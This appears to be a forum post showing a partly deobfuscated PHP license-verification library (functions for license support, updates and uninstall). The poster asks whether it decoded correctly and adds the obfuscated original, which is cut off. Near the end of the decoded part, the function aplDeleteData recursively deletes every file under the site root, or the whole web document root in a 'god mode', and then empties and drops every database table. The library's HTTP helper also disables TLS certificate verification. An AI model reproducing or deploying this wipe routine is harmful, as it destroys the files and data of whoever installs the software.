	if (!($updated_records < 1)) 
		{ 
		goto jwe1L; 
		}  
	echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;  
	exit;  
	jwe1L: 
	jL9U1:  
	if (!(APL_STORAGE == "FILE")) 
		{ 
			goto GH7Bv;  
		} 
	$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); 
	$fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>");  
	if (!($fwrite === false))  
	{ 
		goto kkxiK; 
	} 
	echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;  
	exit; 
	kkxiK: 
	@fclose($handle);  
	GH7Bv: 
	SJAY0: 
	gw0RY: 
	EyfI2:  
	return $notifications_array;  
} 
 function aplVerifySupport($MYSQLI_LINK = null)  
 { 
	 $notifications_array = array(); 
	 $apl_core_notifications = aplCheckSettings();  
	 if (empty($apl_core_notifications)) 
		 { 
			 goto UQP1f; 
		 } 
		 $notifications_array["notification_case"] = "notification_script_corrupted"; 
		 $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
		 goto sRdO3; 
		 UQP1f: 
		 if (aplCheckData($MYSQLI_LINK)) 
			 {  
				goto xWq7M; 
			} 
		$notifications_array["notification_case"] = "notification_license_corrupted";  
		$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;  
		goto PppAQ;  
		xWq7M: 
		extract(aplGetLicenseData($MYSQLI_LINK));  
		$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));  
		$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_support.php", $ROOT_URL, $post_info); 
		$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);  
		PppAQ: 
		sRdO3: 
		return $notifications_array;  
} 
 function aplVerifyUpdates($MYSQLI_LINK = null) 
 { 
	 $notifications_array = array(); 
	 $apl_core_notifications = aplCheckSettings();  
	 if (empty($apl_core_notifications))  
	 { 
		 goto pjSZP; 
	 } 
	 $notifications_array["notification_case"] = "notification_script_corrupted";  
	 $notifications_array["notification_text"] = implode("; ", $apl_core_notifications);  
	 goto IKxPK; 
	 pjSZP:  
	 if (aplCheckData($MYSQLI_LINK))  
	 {  
		goto gqRMZ;  
	 } 
	 $notifications_array["notification_case"] = "notification_license_corrupted"; 
	 $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;  
	 goto gF6Zs; 
	 gqRMZ: 
	 extract(aplGetLicenseData($MYSQLI_LINK));  
	 $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));  
	 $content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_updates.php", $ROOT_URL, $post_info);  
	 $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);  
	 gF6Zs: 
	 IKxPK:  
	 return $notifications_array;  
} 
function aplUninstallLicense($MYSQLI_LINK = null)  
{ 
	$notifications_array = array();  
	$apl_core_notifications = aplCheckSettings();  
	if (empty($apl_core_notifications))  
	{ 
		goto tASuo;  
	}  
	$notifications_array["notification_case"] = "notification_script_corrupted";  
	$notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
	goto m4I_x; 
	tASuo: 
	if (aplCheckData($MYSQLI_LINK)) 
		{  
			goto TSibm;  
		} 
	$notifications_array["notification_case"] = "notification_license_corrupted";  
	$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
	goto ChgQz;  
	TSibm:  
	extract(aplGetLicenseData($MYSQLI_LINK));  
	$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
	$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_uninstall.php", $ROOT_URL, $post_info); 
	$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);  
	if (!($notifications_array["notification_case"] == "notification_license_ok"))  
	{ 
		goto lu3tx; 
	} 
	if (!(APL_STORAGE == "DATABASE")) 
	{ 
		goto cOnwt;  
	} 
	mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE);  
	mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE);  
	cOnwt: 
	if (!(APL_STORAGE == "FILE")) 
	{ 
		goto jCDHR; 
	}  
	$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); @fclose($handle); 
	jCDHR: 
	lu3tx: 
	ChgQz: 
	m4I_x: 
	return $notifications_array;  
} 
function aplDeleteData($MYSQLI_LINK = null) 
{  
	if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"]))  
	{  
		goto bG0xX;  
	}  
	$root_directory = dirname(__DIR__);  
	goto iVoyk; 
	bG0xX:  
	$root_directory = $_SERVER["DOCUMENT_ROOT"]; 
	iVoyk:  
	foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path)  
	{  
		$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 
		z9gBT: 
	} 
	wjx2O:  
	rmdir($root_directory);  
	if (!(APL_STORAGE == "DATABASE")) 
		{ 
			goto WRE7D; 
		}  
	$database_tables_array = array();  
	$table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES"); 
	xjeEe:  
	if (!($table_list_row = mysqli_fetch_row($table_list_results))) 
	{  
		goto Wvu8M; 
	} 
	$database_tables_array[] = $table_list_row[0]; 
	goto xjeEe; 
	Wvu8M:  
	if (empty($database_tables_array)) 
	{ 
		goto awUWl;  
	}  
	foreach ($database_tables_array as $table_name) 
	{  
	mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}");  
	wEPIw: 
	}  
	yZ0CH:  
	foreach ($database_tables_array as $table_name)  
	{  
	mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}");  
	G1w0E:  
	}  
	OzxI2:  
	awUWl:  
	WRE7D:  
	exit;  
} ?>

Did this file decode correctly?

Original Code

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.1   |
    |              on 2018-12-21 10:26:19              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
/*
* Copyright (C) Incevio Systems, Inc - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Munna Khan <[email protected]>, September 2018
*/
 function aplCustomEncrypt($string, $key)
 { 
		 $encrypted_string = null; 
		 if (!(!empty($string) && !empty($key)))
		 {
			 goto pMlQt;
		 }
		 $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("\x61\x65\163\x2d\62\x35\66\55\143\x62\143")); 
		 $encrypted_string = openssl_encrypt($string, "\x61\145\x73\55\62\65\66\x2d\143\x62\143", $key, 0, $iv); 
		 $encrypted_string = base64_encode($encrypted_string . "\x3a\x3a" . $iv); 
		 pMlQt:
		 return $encrypted_string;
 } 
 
 function aplCustomDecrypt($string, $key) 
 { 
		 $decrypted_string = null; if (!(!empty($string) && !empty($key))) 
		 { 
			goto EpA3K;
		 } 
		 $string = base64_decode($string);
		 if (!stristr($string, "\x3a\72"))
		 { 
			goto MxGap;
		 } 
		 $string_iv_array = explode("\72\72", $string, 2); 
		 if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) 
		 { 
			goto aTdS4; 
		 } 
		 list($encrypted_string, $iv) = $string_iv_array; 
		 $decrypted_string = openssl_decrypt($encrypted_string, "\141\145\x73\x2d\62\x35\x36\55\x63\142\143", $key, 0, $iv); 
		 aTdS4:
		 MxGap:
		 EpA3K: 
		 return $decrypted_string; 
 } 
 
 function aplValidateNumberOrRange($number, $min_value, $max_value = INF) 
 { 
		 $result = false; 
		 if (!(filter_var($number, FILTER_VALIDATE_INT) === 0 || !filter_var($number, FILTER_VALIDATE_INT) === false)) 
		 { 
			goto J3doE; 
		 } 
		 if ($number >= $min_value && $number <= $max_value)
		 { 
			goto RldcU; 
		 } 
		 $result = false; 
		 goto BTRKy; 
		 RldcU: 
		 $result = true; 
		 BTRKy: 
		 J3doE: 
		 if (!stristr($number, "\x2d")) 
		 { 
			goto av5Gj; 
		 } 
		 $numbers_array = explode("\x2d", $number); 
		 if (!(filter_var($numbers_array[0], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[0], FILTER_VALIDATE_INT) === false && filter_var($numbers_array[1], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[1], FILTER_VALIDATE_INT) === false)) 
		 { 
			goto Ngok2;
		 } 
		 if ($numbers_array[0] >= $min_value && $numbers_array[1] <= $max_value && $numbers_array[0] <= $numbers_array[1]) 
		 {
			 goto fuM0v;
		 }
		 $result = false; 
		 goto BhRBu;
		 fuM0v: 
		 $result = true; 
		 BhRBu: 
		 Ngok2: 
		 av5Gj: 
		 return $result;
 } 
 
 function aplValidateRawDomain($url) 
 { 
						 $result = false; 
						 if (empty($url)) 
						 {
							 goto WJe9_;
						 } 
						 if (preg_match("\x2f\136\133\141\55\172\60\x2d\71\x2d\56\x5d\53\x5c\x2e\133\141\x2d\x7a\134\56\135\173\x32\54\67\175\x24\57", strtolower($url)))
						{ 
							goto SwcAe; 
						}
						$result = false; 
						goto nHC2G; 
						SwcAe: 
						$result = true; 
						nHC2G: 
						WJe9_: 
						return $result;
				}

				 function aplGetCurrentUrl($remove_last_slash = null, $string_to_remove_array = null) 
				 { 
				 $current_url = null;
				 $protocol = !empty($_SERVER["\110\x54\x54\x50\123"]) && $_SERVER["\x48\124\x54\120\123"] !== "\x6f\x66\146" ? "\x68\x74\164\x70\x73" : "\x68\x74\164\x70"; 
				 if (!isset($_SERVER["\x48\x54\124\120\137\x48\x4f\123\x54"])) 
				 { 
					goto huEJ0; 
				 } 
				 $host = $_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\123\124"];
				 huEJ0: 
				 if (!isset($_SERVER["\123\x43\x52\x49\x50\124\137\x4e\x41\115\105"])) 
				 { 
					goto qPZaV; 
				 } 
				 $script = $_SERVER["\x53\x43\x52\x49\120\x54\137\x4e\x41\115\105"]; 
				 qPZaV: 
				 if (!isset($_SERVER["\x51\125\x45\122\x59\x5f\123\124\x52\111\x4e\x47"])) 
				 {
					 goto WEWbZ; 
				 }
				 $params = $_SERVER["\121\125\x45\122\x59\x5f\123\124\x52\x49\x4e\x47"]; 
				 WEWbZ: 
				 if (!(!empty($protocol) && !empty($host) && !empty($script)))
				{ 
					goto NqkGK;
				} 
				$current_url = $protocol . "\x3a\57\x2f" . $host . $script;
				 if (empty($params)) 
				 {
					 goto KLgh1; 
				 } 
				 $current_url .= "\77" . $params;
				 KLgh1: 
				 if (!(!empty($string_to_remove_array) && is_array($string_to_remove_array))) 
				 { 
					goto v6EEP; 
				 }
				 foreach ($string_to_remove_array as $key => $value)
				 {
					 $current_url = str_ireplace($value, '', $current_url);
					 RdJEz:
				 } 
				 d3572: 
				 v6EEP: 
				 if (!($remove_last_slash == 1)) 
				 { 
					goto KcX59; 
				 }  
				 rgyHl: 
				 if (!(substr($current_url, -1) == "\x2f")) 
				 { 
					goto aAuTv; 
				 } 
				 $current_url = substr($current_url, 0, -1); 
				 goto rgyHl;
				 aAuTv:
				 KcX59: 
				 NqkGK:
				 return $current_url; 
				 }
				 
				 function aplGetRawDomain($url)
				 { 
				 $raw_domain = null;
				 if (empty($url)) 
				 { 
					goto OMJEU;
				 }
				 $url_array = parse_url($url); 
				 if (!empty($url_array["\x73\143\x68\x65\x6d\145"])) 
				 { 
					goto DMjP4; 
				 }
				 $url = "\x68\x74\x74\160\72\x2f\x2f" . $url; 
				 $url_array = parse_url($url);
				 DMjP4:
				 if (empty($url_array["\x68\x6f\x73\x74"]))
				{
					goto HcNQe;
				} 
				$raw_domain = $url_array["\x68\157\x73\164"]; 
				$raw_domain = trim(str_ireplace("\x77\167\x77\x2e", '', filter_var($raw_domain, FILTER_SANITIZE_URL)));
				HcNQe: 
				OMJEU:
				return $raw_domain;
} 

function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash) 
{
				if (!filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED)) 
				{ 
					goto cnnf7; 
				} 
				$url_array = parse_url($url); 
				$url = str_ireplace($url_array["\x73\143\x68\x65\155\145"] . "\x3a\57\x2f", '', $url);
				if ($remove_path == 1) 
				{ 
					goto aP20B; 
				} 
				$last_slash_position = strripos($url, "\x2f"); if (!($last_slash_position > 0)) 
				{ 
					goto vnDc0;
				} 
				$url = substr($url, 0, $last_slash_position + 1); 
				vnDc0:
				goto iW2AK;
				aP20B: 
				$first_slash_position = stripos($url, "\57"); if (!($first_slash_position > 0)) 
				{ 
					goto kwrFv;
				}
				$url = substr($url, 0, $first_slash_position + 1);
				kwrFv: 
				iW2AK: 
				if (!($remove_scheme != 1))
				{ 
					goto PWWle; 
				}
				$url = $url_array["\x73\143\150\x65\155\145"] . "\x3a\x2f\57" . $url; 
				PWWle: if (!($remove_www == 1)) 
				{
					goto FSPaz; 
				}
				$url = str_ireplace("\167\x77\x77\x2e", '', $url);
				FSPaz: if (!($remove_last_slash == 1)) 
				{
					goto YFDE2; 
				} 
				xvISn: 
				if (!(substr($url, -1) == "\57"))
					{ 
						goto gnzti; 
					} 
				$url = substr($url, 0, -1); 
				goto xvISn; 
				gnzti: 
				YFDE2: 
				cnnf7: 
				return trim($url);
} 
	
function aplCustomPostGetHeaders($url, $refer = null, $post_info = null) 
				{ 
				$user_agent = "\115\x6f\x7a\x69\154\154\141\57\65\x2e\60\40\x28\x57\151\x6e\x64\157\167\163\40\116\124\40\x36\x2e\x33\x3b\40\x57\117\127\x36\x34\x3b\x20\162\166\72\x34\70\x2e\60\x29\40\107\x65\x63\153\x6f\x2f\62\60\x31\x30\x30\x31\60\x31\x20\x46\151\162\x65\x66\157\170\57\x34\70\x2e\x30"; $connect_timeout = 10; $server_response_array = array(); $formatted_headers_array = array(); 
				if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED))) 
				{ 
				goto ZEKrD; 
				} 
				$refer = $url;
				 ZEKrD: 
				 $ch = curl_init(); 
				 curl_setopt($ch, CURLOPT_URL, $url); 
				 curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
				 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout); 
				 curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout); 
				 curl_setopt($ch, CURLOPT_REFERER, $refer); 
				 curl_setopt($ch, CURLOPT_POST, 1);
				 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
				 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
				 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
				 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
				 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
				 curl_setopt($ch, CURLOPT_MAXREDIRS, 10); 
				 curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use(&$formatted_headers_array)
				 { 
				 $len = strlen($header);
				 $header = explode("\x3a", $header, 2); 
				 if (!(count($header) < 2))
					 { 
						goto VKZ1i; 
					 } return $len;
					  VKZ1i:
					  $name = strtolower(trim($header[0])); 
					  $formatted_headers_array[$name] = trim($header[1]); return $len; });
					  $result = curl_exec($ch); 
					  curl_close($ch); 
					  $server_response_array["\150\145\x61\x64\x65\162\x73"] = $formatted_headers_array; 
					  $server_response_array["\142\157\144\171"] = $result; return $server_response_array; 
 }

 function aplVerifyDate($date, $date_format)
 {
					 $datetime = DateTime::createFromFormat($date_format, $date);
					 $errors = DateTime::getLastErrors(); 
					 if (!$datetime || !empty($errors["\x77\141\162\x6e\151\156\147\137\x63\x6f\165\x6e\x74"])) 
					 {
						 goto CniTB;
					 } 
					 $date_check_ok = true;
					 goto TW6N_; 
					 CniTB: 
					 $date_check_ok = false;
					 TW6N_:
					 return $date_check_ok; 
} 

function aplGetDaysBetweenDates($date_from, $date_to) 
{
					$number_of_days = 0; 
					if (!(aplVerifyDate($date_from, "\131\55\155\55\144") && aplVerifyDate($date_to, "\131\55\155\x2d\144"))) 
					{ 
						goto CoDN4;
					} 
					$date_to = new DateTime($date_to);
					$date_from = new DateTime($date_from); 
					$number_of_days = $date_from->diff($date_to)->format("\x25\141"); 
					CoDN4:
					return $number_of_days; 
} 

function aplParseXmlTags($content, $tag_name)
 {
	 $parsed_value = null; 
	 if (!(!empty($content) && !empty($tag_name))) 
	 { 
		goto INdTi; 
	 } 
	 preg_match_all("\x2f\74" . preg_quote($tag_name, "\57") . "\x3e\x28\56\52\x3f\51\74\x5c\x2f" . preg_quote($tag_name, "\57") . "\x3e\57\151\155\163", $content, $output_array, PREG_SET_ORDER);
	 if (empty($output_array[0][1])) 
	 { 
		goto R8Sfl; 
	 } 
	 $parsed_value = trim($output_array[0][1]);
	 R8Sfl: 
	 INdTi: 
	 return $parsed_value; 
} 

function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) 
{ 
$notifications_array = array(); 
if (!empty($content_array)) 
{ 
	goto yQ3VU; 
} 
$notifications_array["\x6e\x6f\164\151\x66\x69\x63\141\x74\151\157\156\137\143\141\x73\145"] = "\x6e\157\164\x69\x66\x69\x63\141\164\x69\x6f\x6e\137\x6e\157\x5f\x63\157\x6e\x6e\145\x63\x74\x69\157\156";
$notifications_array["\156\x6f\x74\151\x66\x69\143\141\164\x69\157\x6e\137\x74\x65\170\164"] = APL_NOTIFICATION_NO_CONNECTION; 
goto uhux3;
 yQ3VU:
 if (!empty($content_array["\x68\x65\141\x64\145\162\x73"]["\x6e\157\x74\151\146\x69\x63\x61\x74\151\157\x6e\137\163\145\x72\166\x65\162\x5f\163\151\147\156\x61\x74\x75\162\145"]) && aplVerifyServerSignature($content_array["\150\x65\141\144\x65\162\163"]["\x6e\157\x74\x69\146\x69\x63\x61\x74\151\157\x6e\137\163\x65\x72\166\145\x72\x5f\163\x69\147\x6e\141\x74\165\x72\x65"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)) 
 {
	 goto TU4NP;
 }
 $notifications_array["\156\157\x74\x69\x66\151\143\141\164\x69\x6f\x6e\137\x63\x61\x73\145"] = "\156\x6f\164\x69\146\x69\143\x61\164\x69\x6f\x6e\x5f\x69\x6e\x76\x61\154\151\144\x5f\x72\x65\x73\x70\157\x6e\163\x65"; 
 $notifications_array["\156\157\x74\151\x66\x69\143\141\164\x69\157\x6e\x5f\164\145\170\x74"] = APL_NOTIFICATION_INVALID_RESPONSE; 
 goto Em56F;
 TU4NP:
 $notifications_array["\x6e\x6f\x74\151\x66\151\x63\141\164\x69\157\156\x5f\143\141\163\x65"] = $content_array["\x68\x65\x61\144\x65\x72\x73"]["\x6e\157\x74\151\146\151\143\141\x74\x69\157\x6e\x5f\x63\141\163\145"]; 
 $notifications_array["\x6e\157\164\x69\x66\151\143\141\164\x69\x6f\156\x5f\x74\x65\170\x74"] = $content_array["\150\x65\141\144\145\x72\163"]["\x6e\x6f\164\151\146\151\143\x61\164\151\157\156\137\x74\x65\x78\164"]; 
 if (empty($content_array["\x68\145\x61\x64\145\x72\163"]["\x6e\157\164\x69\146\x69\143\x61\x74\151\157\156\x5f\x64\141\x74\141"])) 
 {
	 goto Zg9V6; 
 } 
 $notifications_array["\x6e\x6f\x74\x69\146\151\x63\x61\x74\151\157\156\137\x64\x61\x74\x61"] = json_decode($content_array["\150\x65\141\x64\145\x72\163"]["\x6e\157\x74\x69\x66\151\143\x61\x74\151\x6f\156\x5f\144\141\164\x61"], true); 
 Zg9V6:
 Em56F:
 uhux3:
 return $notifications_array; 
 }
 function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) 
 {
	 $script_signature = null; 
	 $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
	 if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array)))
		 { 
			goto Hshmv; 
		 } 
	 $script_signature = hash("\163\150\x61\x32\65\x36", gmdate("\x59\x2d\155\55\144") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . APL_PRODUCT_ID . implode('', $root_ips_array)); 
	 Hshmv:
	 return $script_signature; 
	 }
function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
 {
	 $result = false; $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
	 if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) 
	 {
		 goto F3Cnp; 
	 }
	 if (!(hash("\x73\x68\141\x32\x35\x36", implode('', $root_ips_array) . APL_PRODUCT_ID . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("\131\55\155\55\144")) == $notification_server_signature)) 
	 {
		 goto unCsu;
	 }
	 $result = true;
	 unCsu:
	 F3Cnp:
	 return $result; 
}
function aplCheckSettings()
 {
	 $notifications_array = array(); 
	 if (!(empty(APL_SALT) || APL_SALT == "\163\x6f\155\145\x5f\x72\x61\x6e\x64\157\x6d\x5f\164\145\x78\164")) 
	 {
		 goto KXmpS;
	 }
	 $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
	 KXmpS:
	 if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr(APL_ROOT_URL, -1)))) 
	 {
		 goto Pr1X1;
	 }
	 $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL; 
	 Pr1X1: 
	 if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT))
		 {
			 goto b2uTW;
		 }
		 $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
		 b2uTW: 
		 if (aplValidateNumberOrRange(APL_DAYS, 1, 365)) 
		 { 
			goto PaOz4; 
		 }
		 $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
		 PaOz4:
		 if (!(APL_STORAGE != "\x44\x41\124\101\102\101\x53\x45" && APL_STORAGE != "\x46\x49\114\x45"))
			 { 
				goto PRzEn;
			 } 
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
		PRzEn:
		if (!(APL_STORAGE == "\x44\x41\x54\x41\x42\101\123\x45" && !ctype_alnum(str_ireplace(array("\137"), '', APL_DATABASE_TABLE)))) 
		{
			goto WIfMa; 
		}
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
		WIfMa: 
		if (!(APL_STORAGE == "\106\111\x4c\105" && !@is_writable(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION)))
			{ 
				goto nyuEg; 
			}
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE; 
		nyuEg:
		if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))) 
		{ 
			goto Yoy3U; 
		} 
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP; 
		Yoy3U: 
		if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL))))) 
		{ 
			goto Evsq9; 
		} 
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; 
		Evsq9:
		if (!(defined("\101\x50\x4c\137\x52\117\x4f\124\137\x4e\101\x4d\105\123\105\x52\126\105\122\123") && !empty(APL_ROOT_NAMESERVERS))) 
		{
			goto UGNmk; 
		}
		foreach (APL_ROOT_NAMESERVERS as $nameserver)
		{
			if (aplValidateRawDomain($nameserver)) 
			{
				goto iEhfR;
			}
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
		goto ZvWje;
		iEhfR:
		vxlwe: 
		}
		ZvWje: 
		UGNmk:
		if (!(defined("\x41\x50\x4c\137\x52\x4f\x4f\124\137\x4e\x41\x4d\x45\x53\105\122\126\105\122\x53") && !empty(APL_ROOT_NAMESERVERS))) 
		{
			goto EhvJo;
		}
		$apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
		$fetched_nameservers_array = array();
		$dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
		foreach ($dns_records_array as $record)
		{ 
			$fetched_nameservers_array[] = $record["\164\141\162\147\145\x74"];
			ZM6un:
		}
		xNl3b:
		$apl_root_nameservers_array = array_map("\x73\x74\162\164\157\154\x6f\167\145\x72", $apl_root_nameservers_array); 
		$fetched_nameservers_array = array_map("\163\x74\x72\x74\x6f\x6c\x6f\167\145\162", $fetched_nameservers_array); 
		sort($apl_root_nameservers_array); 
		sort($fetched_nameservers_array);
		if (!($apl_root_nameservers_array != $fetched_nameservers_array)) 
		{
			goto VQOIh;
		} 
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
		VQOIh: 
		EhvJo:
		return $notifications_array;
		}
function aplParseLicenseFile()
 {
	 $license_data_array = array(); 
	 if (!@is_readable(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION))
		 { 
			goto tnFzD;
		} 
		$file_content = file_get_contents(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION);
		preg_match_all("\57\x3c\50\x5b\x41\55\x5a\137\x5d\x2b\51\x3e\x28\x2e\52\77\x29\x3c\134\x2f\x28\133\101\55\x5a\x5f\135\x2b\51\x3e\57", $file_content, $matches, PREG_SET_ORDER);
		if (empty($matches))
			{ 
				goto kKGvc;
			} 
		foreach ($matches as $value)
		{
			if (!(!empty($value[1]) && $value[1] == $value[3])) 
			{
				goto ry6Ox;
		}
		$license_data_array[$value[1]] = $value[2]; 
		ry6Ox:
		U8KX8: 
		} 
		CnEiz:
		kKGvc:
		tnFzD:
		return $license_data_array;
}

 function aplGetLicenseData($MYSQLI_LINK = null)
 {
	 $settings_row = array(); 
	 if (!(APL_STORAGE == "\104\101\x54\101\102\x41\x53\105"))
		 {
			 goto Asz0F;
		 }
		 $settings_results = @mysqli_query($MYSQLI_LINK, "\x53\105\114\x45\x43\x54\x20\52\40\x46\122\117\115\40" . APL_DATABASE_TABLE);
		 $settings_row = @mysqli_fetch_assoc($settings_results); 
		 Asz0F:
		 if (!(APL_STORAGE == "\106\111\x4c\105")) 
		 {
			 goto v_3BC;
		 } 
		 $settings_row = aplParseLicenseFile();
		 v_3BC:
		 return $settings_row; 
}

 function aplCheckConnection()
 {
	 $notifications_array = array(); 
	 $content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\x70\154\137\x63\x61\x6c\154\142\141\x63\x6b\x73\x2f\143\157\x6e\156\x65\x63\x74\151\157\156\x5f\164\145\163\164\x2e\x70\150\160", APL_ROOT_URL, "\x70\x72\x6f\x64\x75\143\x74\137\x69\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6f\156\x6e\x65\143\x74\x69\157\x6e\137\150\x61\163\150\75" . rawurlencode(hash("\163\150\x61\x32\x35\66", "\143\x6f\156\156\145\143\x74\x69\157\156\x5f\164\145\x73\164"))); 
	 if (!empty($content_array))
		 { 
			goto tKeci;
	   	 } 
		 $notifications_array["\x6e\157\x74\151\146\151\x63\x61\164\151\x6f\x6e\x5f\143\x61\163\145"] = "\x6e\x6f\164\151\146\x69\143\x61\164\151\x6f\x6e\x5f\x6e\x6f\137\143\157\156\156\145\143\x74\x69\157\x6e"; 
		 $notifications_array["\156\x6f\164\x69\146\x69\x63\x61\x74\151\157\156\137\x74\145\170\164"] = APL_NOTIFICATION_NO_CONNECTION; 
		 goto coAYa; 
		 tKeci:
